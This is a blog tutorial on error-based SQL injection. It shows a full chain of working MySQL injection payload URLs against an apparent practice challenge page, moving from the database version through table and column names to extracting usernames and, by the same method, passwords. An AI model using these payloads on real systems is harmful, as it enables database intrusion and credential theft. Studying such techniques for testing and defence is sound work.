Error Based SQL Injection

Error Based SQL Injection Tutorial :- 

Hello everyone, Today I am going to share a tutorial on " Error Based SQL Injection " , Like I said on my previous post... It's a-bit tricky. Use your brain and concentrate on it so it can be achieved easily... So let's see how it works. 

I'm using http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1 this website for the tutorial

Now Let's Get Started :-

first we need Database_Version, here is our Query

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+

MIN(0)+OR+1

And page will return like this 

'5.5.48-cll'

this is the Version of database

Now we need Database_Name

So our next query will be like this,

 

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+

CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=

DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.

TABLES+GROUP+BY+x)a)

and page will return like this

'leettime_761wHole'

this is the name of database

Now we need Table_Names, So lets extract the Tables from Database

Note: you need DB_Name for extracting Table Names

Our Next Query Will Be :- 

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),

0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=

0x6c65657474696d655f37363177486f6c65+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+

INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

page will return like this :-

'testtable1' 

This is the 1st table name 

Convert database name in "hex format" and put that hex here 

'+table_schema=0xHEX OF DATABASE+'

Note: you can't extract whole tables/columns from the database in one shot.

we need Sensitive table which has Login detail (Or any detail you want from the database)

increase the number which is after 

'0xHex Of Database Name+limit+0,1' change the 0 i with 1 like this

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),

0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=

0x6c65657474696d655f37363177486f6c65+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+

INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

page wll return with the 2nd table name

'userlogs' 

This is our second Table.

This is not the sensitive table

keep increasing the number

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),

0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=

0x6c65657474696d655f37363177486f6c65+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+

INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

page will return with the 3rd table name

'users' 

This is the 3rd table name, this table is sensitive lets get the column names

Here is our next query :- 

+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+

CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=

0x7573657273+AND+table_schema=0x6c65657474696d655f37363177486f6c65+LIMIT+0,1),

FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

page will return like this

'id'

This is the column name

convert table name in the hex format and put that after 

'+table_name=0xHEX OF TABLE NAME'

ow convert database name in the hex format and put that after 

'table_schema=0xHEX OF DATABASE NAME'

we need sensitive column name which contain login detail 

 increase the number which is after

'table_schema=0xHEX OF DATABASE NAME+limit+0,1+'

replace 0,1 with 1,1  like this

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND+(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+

CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=

0x7573657273+AND+table_schema=0x6c65657474696d655f37363177486f6c65+LIMIT+1,1),

FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

page will return with the 2nd column name

'username'

this is the 2nd column name

So lets get the username 

here is our query :-

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1+AND+(SELECT+1+FROM+

(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username)+AS+

CHAR),0x7e))+FROM+leettime_761wHole.users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+

INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

and page will reutn with the username

'admin'

Is the 1st username

put the column name in 

'concat(COLUMN_NAME)'

and database name and table name after

'+from+DATABASE_NAME.Tabla_Name'

and you can extract the password same as username you just need to know the column name.

Thanks for reading I hope y'all like this tutorial. In my next post I will share some other types of Injections. 
keep visiting Folks.